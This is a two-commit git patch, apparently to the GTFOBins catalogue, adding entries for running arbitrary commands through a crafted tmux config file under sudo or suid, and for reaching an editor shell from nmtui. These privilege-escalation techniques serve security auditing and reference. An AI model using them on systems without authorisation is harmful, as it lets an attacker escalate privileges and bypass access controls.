From e60248cff1546fc2459f0ddf1b45d52e2fc5add5 Mon Sep 17 00:00:00 2001 From: Iwo Tylus Date: Wed, 22 Apr 2026 21:08:42 +0200 Subject: [PATCH 1/2] Add tmux command --- _gtfobins/tmux | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/_gtfobins/tmux b/_gtfobins/tmux index 0ea31bb3..99075e1a 100644 --- a/_gtfobins/tmux +++ b/_gtfobins/tmux @@ -1,5 +1,36 @@ --- functions: + command: + - blind: true + code: |- + echo 'run-shell "/path/to/command"' >/path/to/temp-file.conf + tmux -f /path/to/temp-file.conf + contexts: + sudo: + suid: + shell: true + - blind: true + code: |- + mkdir -p /path/to/temp-dir + echo 'run-shell "/path/to/command"' >/path/to/temp-dir/.tmux.conf + HOME=/path/to/temp-dir tmux + comment: |- + If the `HOME` directory is already writable, the file can be placed directly as `~/.tmux.conf` without overriding `HOME`. The `HOME` environment variable must be passed to the privileged process. + contexts: + sudo: + suid: + shell: true + - blind: true + code: |- + mkdir -p /path/to/temp-dir/tmux + echo 'run-shell "/path/to/command"' >/path/to/temp-dir/tmux/tmux.conf + XDG_CONFIG_HOME=/path/to/temp-dir tmux + comment: |- + The `XDG_CONFIG_HOME` environment variable must be passed to the privileged process. + contexts: + sudo: + suid: + shell: true file-read: - binary: false code: |- From 94a93effe12efb8187ff4fdd703a24495fbcf25a Mon Sep 17 00:00:00 2001 From: Iwo Tylus Date: Wed, 22 Apr 2026 21:09:06 +0200 Subject: [PATCH 2/2] Add nmtui inherit --- _gtfobins/nmtui | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 _gtfobins/nmtui diff --git a/_gtfobins/nmtui b/_gtfobins/nmtui new file mode 100644 index 00000000..5f92e26f --- /dev/null +++ b/_gtfobins/nmtui @@ -0,0 +1,12 @@ +--- +functions: + inherit: + - code: |- + EDITOR=vi nmtui + comment: |- + Navigate to "Edit a connection", select "Add", choose "Team", then select "Edit" under JSON configuration to invoke the editor. `VISUAL` takes precedence over `EDITOR` when both are set and can be used instead. + contexts: + sudo: + suid: + from: vi +...